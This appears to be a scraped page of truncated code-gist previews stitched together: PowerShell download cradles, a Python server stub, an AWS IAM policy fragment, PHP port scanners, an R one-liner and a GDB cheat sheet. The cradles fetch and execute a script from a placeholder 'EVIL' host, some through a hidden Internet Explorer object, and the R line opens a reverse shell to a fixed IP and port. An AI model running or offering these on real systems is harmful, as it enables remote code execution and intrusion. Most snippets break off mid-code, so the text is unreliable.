Required tools for playing around with memory:
hexdumpobjdumpreadelfxxdgcore
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
| #!/usr/bin/env python3 | |
| import sys | |
| from http.server import HTTPServer, BaseHTTPRequestHandler | |
| if len(sys.argv)-1 != 2: | |
| print(""" | |
| Usage: {} <port_number> <url> | |
| """.format(sys.argv[0])) | |
| sys.exit() |
| { | |
| "APIGatewayServiceRolePolicy": { | |
| "Arn": "arn:aws:iam::aws:policy/aws-service-role/APIGatewayServiceRolePolicy", | |
| "AttachmentCount": 0, | |
| "CreateDate": "2019-10-22T18:22:01+00:00", | |
| "DefaultVersionId": "v6", | |
| "Document": { | |
| "Statement": [ | |
| { |
| <?php | |
| ini_set('max_execution_time', 0); | |
| ini_set('memory_limit', -1); | |
| $host = '172.17.0.1'; | |
| $ports = array(21, 22, 80, 443, 445, 3306, 8080); |
| c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)} |
| GDB commands by function - simple guide | |
| --------------------------------------- | |
| More important commands have a (*) by them. | |
| Startup | |
| % gdb -help print startup help, show switches | |
| *% gdb object normal debug | |
| *% gdb object core core debug (must specify core file) | |
| %% gdb object pid attach to running process | |
| % gdb use file command to load object |
| <?php | |
| ini_set('max_execution_time', 0); | |
| ini_set('memory_limit', -1); | |
| $host = 'google.com'; | |
| $ports = array(21, 25, 80, 81, 110, 143, 443, 587, 2525, 3306); | |
| foreach ($ports as $port) | |
| { | |
| $connection = @fsockopen($host, $port, $errno, $errstr, 2); |
| c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)} |